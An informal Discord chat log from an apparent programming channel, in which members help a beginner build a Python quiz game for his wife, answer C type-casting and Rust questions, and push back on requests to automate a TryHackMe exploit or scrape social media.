if input is equal to 2:
do that
kk
yes
what does "kk" mean ?
nothing just like saying
ok
or alright got it
just kk
Pseudo-code
INPUT: Choose dificulty
If input is EQUAL to 1:
do this
if input is equal to 2:
all of this?
Hmmm ok. For this part you'll need to know the if and elif statements
this is pseudo code, you need to write that in python
even the pseudp-code?
no
alr
check the link i just sent about conditions
you also need to assign the input to a varible, so you can compare it in the if condition
it's your code man
thanks
give me a sec
just wanna test sum out
import time
import random
print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")
print ("please choose your diffeculty, hard easy or medium")
input ("")
if imput != hard:
quit
print ("thank you for playing")
time.sleep(2)
print("first question")
didn't work
lol
^
yea...
First things first, don't try to write the end of the script and fit stuff in the middle.
yea
You should check the python syntax first too
ok, no more ideas, listen to u now
get familliar with the language
yea
how
1 sec
kk
alright
You should check the w3 schools or other resources to get familiar with the language
the pass won't work...
ye, I will
This is intentional
hm?
This is only hints on what you actually need to do with your code. I'll send some links that will help
https://www.w3schools.com/python/python_variables.asp
https://www.w3schools.com/python/python_user_input.asp
https://www.w3schools.com/python/python_conditions.asp
https://www.w3schools.com/python/python_while_loops.asp
https://www.w3schools.com/python/python_operators.asp
thank u!
All you need to build your program is there. I'm going to play skyrim now, good luck !
Feel free to ping me later if you're having trouble.
This is actually very sweet, the fact that you're making a little game for your wife and all ...
thank you
have fun!
Yo, I was up all night trying to figure out the code that I didn't relize when I fell asleep lol
import time
import random
def stop
def main():
print("hello welcome to my quiz game, please choose a name")
# Prompt the user to enter their name
user_name = input("Please enter your name here: ")
# Greet the user with their name
print(f"Hello, {user_name}!")
if __name__ == "__main__":
main()
# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")
print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")
if input != ("you"):
print("sorry, you failed, try again later")
stop
print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")
why won't it def stop?
(don't give me the answer just give me a hint)
(and plz @me)
@rough pebble recheck how to declare certain things.
or where do I check?
I need more than this...plz
I've tried to fix this code in another file but nothing
what's the required specficiation for a function?
I fixed it, but like...it still skips the stop or even when I just put quit it doesn't
import time
import random
def stop():
def main():
print("hello welcome to my quiz game, please choose a name")
# Prompt the user to enter their name
user_name = input("Please enter your name here: ")
# Greet the user with their name
print(f"Hello, {user_name}!")
if __name__ == "__main__":
main()
# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")
print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")
if input != ("you"):
print("sorry, you failed, try again later")
stop
print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")
or something like this I thiink
You should step through this and watch the execution to see why things aren't behaving the way you think
alright, I'll do that, but tmrw, I'm tired rn and I do NOT wanna mess up the code more than It is
thanks for the advice
Gave +1 Rep to @magic falcon (current: #11 - 788)
First time making a Burp plugin with Java, wish me luck @brazen eagle
Intellij IDEA already got me lost lol
Good luck, though the new API seems pretty nice
hiii people ok so i wrote a lil intro to c programming for beginners
I would like to get feedback on my writing styles, data accuracy if your free ofcause xD
also i'll be posting more of my journey on c programming so feel free to follow ;>
https://medium.com/@winkk2512/my-c-programming-journey-starting-with-hello-world-b7b6c26f4671
Great job buddy , keep going 😄 . Like how you explained each step 🙂
thank u for noticing it brother!!! It was my intention to explain real step by step cz when i first started out it was a real straggle for me to understand what each of these meaning xD
Gave +1 Rep to @upbeat frost (current: #9 - 890)
that's pretty good, very beginner friendly
Yoooo, I FINALLY DID IT
import time
import random
def main():
print("hello welcome to my quiz game, please choose a name")
# Prompt the user to enter their name
user_name = input("Please enter your name here: ")
# Greet the user with their name
print(f"Hello, {user_name}!")
if __name__ == "__main__":
main()
# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")
print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")
if input != ("you"):
print("sorry, you failed, try again later")
quit
else:
print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
imput ("next question:")
(The imput part was just a test thing, I don't think on putting the)
time.sleep(2)
imput ("next question: ")
FINALLY, THANK U (TO Everyone who helped me in my code!)
specially you @gusty umbra
(I have two folders one I use to fix the code and if I mess up its just a backup there's no problem I can fix it, the real one is for the code its self)
I'll take a look at it when i have the time
Sure!
Yea!!!!
YOu can put the main functionality in a loop, so the program doens't exit when you give a wrong answer
How?
(Sorry for the very late response lol, you need to reply/@ me for me to reply fast)
@rough pebble
alr
how do I define the tries?
(I got this, their the same)
the right one is the actual game, the left is a testing ground to test codes
@gusty umbra
You can set a index integer outside the loop, and increment that each time the user tries something
if the number is equal to 5 for example you break the loop and exit the game
I got an Idea, how but I'm not positive
Try making another program just for this
alr
When you make it work, implement that in the main program
lol
a simple while loop will do the trick
1 sec
kk
hm?
line 26
additionally you can convert the input to lowercase
That way you can type: YoU You yOU etc
you can also remove the random module, you're not using it anymore
Really great job buddy 😄 . I hope that you will continue this great work . I think it is pretty useful for beginners 🙂 . Keep going and keep us updated 😄
The if else conditions
can you send me the src ?
if input == "you":
# do something
else:
print("You failed")
yes exactly
^
you only need one if/else condition
if the input is the right one do something
if not, do something else
na won't work
let me try sum
1 sec
AYYY
I Used ur idea, and made it!
(thank u!)
🥳
^
works ?
yea
hooray
wait, the attempts do I need to do it for each question?
I mean...
let me try sum first
won't work.
hey man, I got HW
rn
mind if we continue tmrw?
thanks
sure
🤝
cya man
i tried sum but got bored of it quickly
not big fan of it tbh
I did play aroumd with it and solved it
But yeah it consumes time and not that benificial
yoo awesome, what lang u using?
Python
Id learn more about using libraries and apis and leave the complex numerical things for AI
it makes you comfortable with docs, syntax etc. but i prefer learning with writing projects
also it's funny creating tech debt cuz of skill issues
i found that aoc is actually cool to learn dsa. it helped me a lot back in the day
just to get into dsa and shit like that
What is dsa 😭
Mid exam i got 29/30 mark while the next highest mark was 22 💀
Aye u too
that's called stomp homie
Yh i have good charisma
i'm not in uni, i gon't need luck bro 😭
But at the same time feels bad cuz all ppl around me are dump
Its like being a captain on sheep 😂
i wouldn't call em dumb, maybe they are good at other htings and this is thier weak spot bro
Ah yes u have a point
U have a pointer !
that's why all of my homies use RUST
Roosten chicken 😋
what 😭
Random statments before sleep
fair bro
void Gaussian_Blur() {
int row, col, rowOffset, colOffset;
int newPixel;
unsigned char pix;
//const unsigned short int size=filter_size/2;
const unsigned short int size = 2;
/*---------------------- Gaussian Blur ---------------------------------*/
for (row = 0; row < N; row++) {
for (col = 0; col < M; col++) {
newPixel = 0;
for (rowOffset = -size; rowOffset <= size; rowOffset++) {
for (colOffset = -size; colOffset <= size; colOffset++) {
if ((row + rowOffset < 0) || (row + rowOffset >= N) || (col + colOffset < 0) || (col + colOffset >= M))
pix = 0;
else
pix = frame1[M * (row + rowOffset) + col + colOffset];
newPixel += pix * Mask[size + rowOffset][size + colOffset];
}
}
printf("New Pixel: %d\n", newPixel);
filt[M * row + col] = (unsigned char)(newPixel / 159);
}
}
}```
Not only is it not printing the new pixel it just comes back with 0, 0, 0 when debugging via main
bro is that cs50x?
good one
Any c++ programers
sup
Where do u learn the concept of oops
There are plenty of books, videos, and text resources available for this. Is there a particular area in OOP that you have a hard time grasping?
This blog post roughly explains the idea of OOP
Thanks
Check book "Head First Object-Oriented Analysis and Design". It demonstrates you on real examples where and why you should use OOP concepts.
I like this book too
Object-Oriented Analysis and Design with Applications by Grady and Booch is the OG book.
Lets say I wanted to code a program that interacts with an already open window, with C++ What project should I create in visual studio? What library (the include thing) should I look into?
Hello people, I am trying to write a zero-click automated exploit(zero to root) for a tryhackme room and I need some help around that, someone available to help?
This is my first time trying to do something like this, pretty new to the subject.
If you use the THM machines for anything other than their intention, you're breaking their ToS.
Sure, could you elaborate a bit more on what the goal is and the current steps you've taken?
Aren't they meant for learning and getting better at InfoSec in general? I don't think I am doing anything that is illegal or harms THM or any of the living/non-living thing in this universe. 🙂
Can I DM?
No, it's still a breach of tos
How can I get a confirmation of this? is there someone I can contact?
See 2.2.
2.2
As a condition of using the Site, you must not, except as permitted by the rules of specific Rooms and only to the extent of within a Room:
a. misuse or attack the Site or any Room by introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure used to access and make available the Site (such as by way of a denial-of-service attack); - not doing this
b. attempt to gain unauthorized access to the Site and/or Room, the server on which the Site is stored or any server, computer or database connected to the Site; and not doing this
c. engage in any unlawful, inappropriate and abusive use of the content available on the Site at all times. not doing this too
What are you doing though, is using a room for not its intentional purpose.
Which is a)
Btw.
Sir/Mam, I am just trying to get better at automation for my own personal learning, I don't intend to publish this anywhere. I don't see anything against this in the ToS you shared, How is it illegal is my question which is beyond my understanding atm.
It's not illegal, it's breaching the terms of the service.
A user was using a machine to get better at Windows, to transfer files and they had to stop as it was not on scope for the room.
This was also covered in 2.2 a)
I am attacking the room in manual way, I am doing that same thing via a python script, how are they different?
and I am not publishing that script in order for others to get easy access, as I said, for my own learning.
If you wish a staff members input,
Cc @true pumice
I don't know that. 🙂
thank you. 🙂
but I am telling you this, so that is your only way to know, I don't know how can I assure you in this stuff. 🙂
Hey @true pumice
Would really appreciate your 2 cents on this if I am allowed to do this or not?
I've already pinged him, there is no need to ping him twice 😅
I’m not sure the context here but generally you are only to use the room for it’s intended purpose:)
OK, the one liner question is, can I automate the exploit that is present in a room or not?
@true pumice This ^
In what world is using the machine in a room for an unintended purpose "introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure"?
I'd agree that point should be adapted to cover the common knowledge that you shouldn't misuse THM VMs, but it absolutely does not say that right now lmfao
I've only been going on what I was told about a similar situation.
If the room isn't being used for the intention it shouldn't be
Hence why I pinged Jabba, as he was the staff member I asked.
Yeah, it's not good, and needs to stop, but the ToS you used to back yourself up there doesn't do anything of the sort
i found this cool plugin for neovim https://github.com/kawre/leetcode.nvim#-plugins
and i was wondering would something similar be possible for tryhackme, for example making cli app or plugin that would enable searching and starting room boxes and submitting flags
what about "ping google.com"
I'm sorry 😭 I'm done now
i need help with django
https://dontasktoask.com
What, exactly, do you need help with? 🙂
Hello guys! If there is already someone who has used the API and OAuth meta (facebook, threads etc..), I have a lot of problems and questions! 🙂 thanks
Little side project of mine right now :)
https://github.com/hydrophobis/CRun
Hi everyone, I wanted to know if any of you knew if scraping twitter was doable (without getting instantly ip banned), I know it's against their TOS and I know there is a free api version but the rates are quite restrictive, it's just for a personal project of mine and I won't make too much requests per hour. Any ideas ?
If it's against their ToS we're not going to help you...
go with free api if it fits your needs
Maybe not quite programming but i got Arch linux installed, without archinstall, an iso in any way, or a live usb!
Very proud
Took 3 days
And it breaks if i shut down so i have to reboot and shutdown from the bios menu lmfao
yooo that's great!!!!!
Arch user now btw
welcome to the team dog 🥹
Now install timeshift and backup to external drive
We definitely could collavorate on making something dor this
i would absolutely love to do it but, htb seems to use some kind of api token for apps like this and i am pretty sure we dont have free api
Nope i was thinking just using web automation framework as work around in the mean time
i dont know if web scraping is against tos
we could ask around but i am 100% down for this
Yep ! And not sure
tryna figure out how to skip integer divsion truncation in C. float ravioli; ravioli = (5/9)*(sauce-32) how can I get (5/9) to be interpreted as floating numbers as truncation keeps setting/rounding value to 0. A work around I have used is assigning 5,9 to variables like so float x,y; x=5,y=9;there has got to be a cleaner way I can go about this lol(I am new literally just started C last week)
ughhh any chat but general is dead lol
I really barley need help just wanna spark a technical converstaion lol
in c when you divide ints you will always get int back even when ravioli is declared as float .
"easier" workaround for this problem will be something like
float ravioli = ((float)5/(float)9) * (sauce - (float)32);
you just put (float) before and you convert this digit into float
at least that's i do it and it works for me
Aww see this is what i was looking for.
This is what i was attempting with (float)
(float)(5/9)*(sauce-32)
But now i see based on your response i need to specify both integers as float type.
Thanks bro
(Excuse horrid formatting on mobile rn)
Like this instead now thx
((float)5/(float)9)*(sauce-32)
Gave +1 Rep to @tacit lynx (current: #470 - 12)
casting can result in weirdness between operations on differing types as well. Recommended way to do this is by using teh built-in language features to ensure a literal is actually used as the type and not orignated as an int and then typecast.
Also we usually don't help on coursework or schoolwork, as we can't really tell the difference between allowed things and honor code violations for your institution
smh why use casting when you can just declare floats float ravioli = (5.0/9.0) * (sauce - 32.0);
yeah you can do that too, but like i said that's how i do it
Im noob bro chill 💀💀
But haha thanks bro this is what i was looking for 😂
Gave +1 Rep to @rustic briar (current: #782 - 6)
Not for school im just reading a book on C as im a beginner.
Yea I had felt type casting could get a little wonky that is why i was asking for better ways to go about doing this but i see now that others have answered
Oh C my first programming language!.. i will love to revisit C!..
yea that's fr
That'll declare doubles in C, iirc. Use 5.0f for floats
if it declare double or not at this point could be compiler dependant
In some compiler for some embeded system, 9.0 would declare float, and 9 would make an int, where an int would be 16 bits
Thanks adding to my notes now
Gave +1 Rep to @brazen eagle (current: #13 - 615)
Embedded systems are a different beast
Either way best to be explicit, 5.0f will declare float, and 5.0d will declare double
Does 5.0d really work? I never saw that syntax before for double
It does on Java at the very least
Thats the only place ive seen it in my programming before
Ah might be cpp then
it's both languages truthfully. The constant literal declarations are intentionally the same, since C is a subset of C++
better to specify with f if you're using floats
Do you think programming a ftp server is good for a beginner project in C++?
I'm migrating from python with high knowledge coding with regex, threading, asynchronous programming etc
I want something challenging
Something that will actually benefit me in the long run
I know assembly and how memory works, so I'm looking for a difficult project that could span multiple files or folders
c++ will be a nice challange in of itself. ftp server will not be IMO that challanging project to make, also i don't think that it will be project that could span multiple directories
it's a nice starting project tho
Perfect, have you got any more bigger projects that could possibly be worked on?
I'm tryna go big or go home
you mean if i worked on something bigger or if i have ideas for bigger projects to write
i'm confused
Apologies, I am trying to work on something that could potentially take a month or two to complete
you can push any project to take longer time to complete. you can add more and more features, go stupid on optimalizations etc
That is true, I'm just trying to push further. This is by doing low level kernel stuff and I don't think developing protocols and servers that I already know is considered proactive
yoo can i join you in this project? this sounds fun
first step is the insanity
Creating new protocols is pointless unless you're getting paid, like creating compilers, ASTs, debuggers, decompilers etc
I wanna create something good
But c++ is such a low level language that we'd have to create our own function to use in functions bro
i'm c/rust guy myself
Is it better? Idk but I think c is easier than go, that may be controversial but it's how it is for me
That's some good languages
go is easy af brother, and you can build everything with only stdlib
The problem that I have with rust is it's undeveloped ecosystem like I can't develop regex with exrex or develop regex with regexgen like I can with python
Fr? I might have to learn it
it will take you like an afternoon to get basics of go, tour of go is goated way to learn it
https://go.dev/tour/welcome/1
i mean rust ecosystem is growing pretty fast, there are a lot of ppl outta here porting everything possible to rust
so u knowwwww
It may be hard but it's not as hard as assembly
It all follows rules, and rules can be broken
I wonder if there's any undocumented vulnerabilities in rust because it's an upcoming language
i don't think so
Maybe not, however they may come from external libraries eventually
dunno can't tell bro
Yeah fair enough, I guess you'd have to scan it daily
Assembly is about as simple as you get, as far as languages go. There are basically no stylistic rules. It's literally just "what does the processor support".
Granted that makes actually doing anything complicated with it take longer, but the extra time is down to not having any standard functionality to fall back on, rather than the language itself being weird (unlike Rust
).
If there isnt undocumented vulnerabilities in any language then the devs are doing something right lol
Im going to try to make a hashing algorithm
I think i want the seed for it to be based off of the string itself
I feel like i got the ball rolling for this chat lol it was so dead until i asked that basic C question 😆
Not python dev but experienced in it and this was my exact reaction
Eh, there are probably undocumented bulbs everywhere tbh
The reason I think assembly is the hardest language objectively is because when creating high level programming constructs with the syntax of assembly and it's low level nature, it makes
coding frameworks or libraries more complicated & difficult to map out, nevertheless completely secure and upholding proper error handling..
Yeah same, it's gonna take a lil bit to get used to C using static arrays fr
So, uh, pretty much exactly what I said then?
The rules and syntax are incredibly simple, but there is operational complexity because you end up having to implement everything yourself.
That doesn't make it objectively the hardest language though.
Yes I agree that it's operational complexity surpasses C and other languages and the actual code itself is pretty straightforward
However operational complexity demonstrates the constraints of different programming languages. Arguably this makes programming in these languages like assembly more complex than higher level languages?
Now that I will agree with
Feel free to correct me but as far as I'm aware, the complexities of low level programming becomes apparent a lot quicker with programming languages like C. Python makes these abstraction layers more accessible to end users. And assembly is the core of it all
Absolutely correct, yep. The lower you go, the more you need to handle yourself.
Languages like Rust are actually really interesting for that, because they feel quite high level, but they compile right down
Exactly, it's just a much better program too because of that low level control, that's why I also think rust is going to pop off within the next year
Rust has so much potential, if it ends up becoming a part of my toolkit I'll probably end up making my own libraries
Not like full libraries but tailored ones @tulip sail
ive been interested in learning rust
i mainly use c/c++ but ive heard a lot about it and it seems very interesting
Its very very different but not hard once you get used to its quirks
I came from c++ and learned rust as well
I personally learned it fine by just looking at simple rust programs and watching some yt videos
hey guys i wanna know if learning c++ is useful in cybersecurity?
It can be useful for tasks like vuln. analysis, reverse engineering, malware analysis and developing some tools 🙂
languages that force you to handle memory by yourself are pretty neat to know in cybersecurity
i will not tag you again but id also like to add that it will allow you to get a much lower understanding of how computers/networking works
gotta know how things work on a decent level to be able to break or protect them depending on what youre interested in
That is mostly just the fastfetch command
rust
Very neat
Are you going to make it open source or are you gonna make it custom/private
Open source because its for my linux distribution :)
Still also not released but im not super far from releasing it
sweet man, i'm looking forward it it
Thanks!
might add some networking functions to it when it's released
no worries man, I always like a professionally laid out tool
anyone got a good roadmap to learn reverse engineering and exploit development for pentests?
Beta for my package manager
https://github.com/hydrophobis/hydropkg
https://github.com/hydrophobis/hydrosh
And the shell
conditional command seems limited
package manager code needs airing 😉
I'd probably class out the commands into a plugin infra
rather than a big if-else block
Whats airing?
oh thats a good idea thanks
Let the code breathe 😉
Installed a statusbar. I think it looks good
nice music taste bro 🔥
Thanks
Gave +1 Rep to @tacit lynx (current: #356 - 17)
as funny as it might be, lets keep political anything out of this discord please
okay sure
will do
Can you send a few lines before the line with the error?
@nocturne wadi
add_scraper doesnt have a close parentheses
thanks
@tribal ice How about we don't perform scrapes on social media?
ah i forgot that people try to do illegal stuff sorry
what is a good way to base64 decode a file using Powershell? PS > [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("data")) seemed crazy verbose, yet using certutil -decode data.b64 data.txt was a lot easier, thoughts?
You gotta take into consideration that PowerShell is a scripting language. If you wrap this over a function in PowerShell, you can just call it as like Get-DecodedB64Data or something.
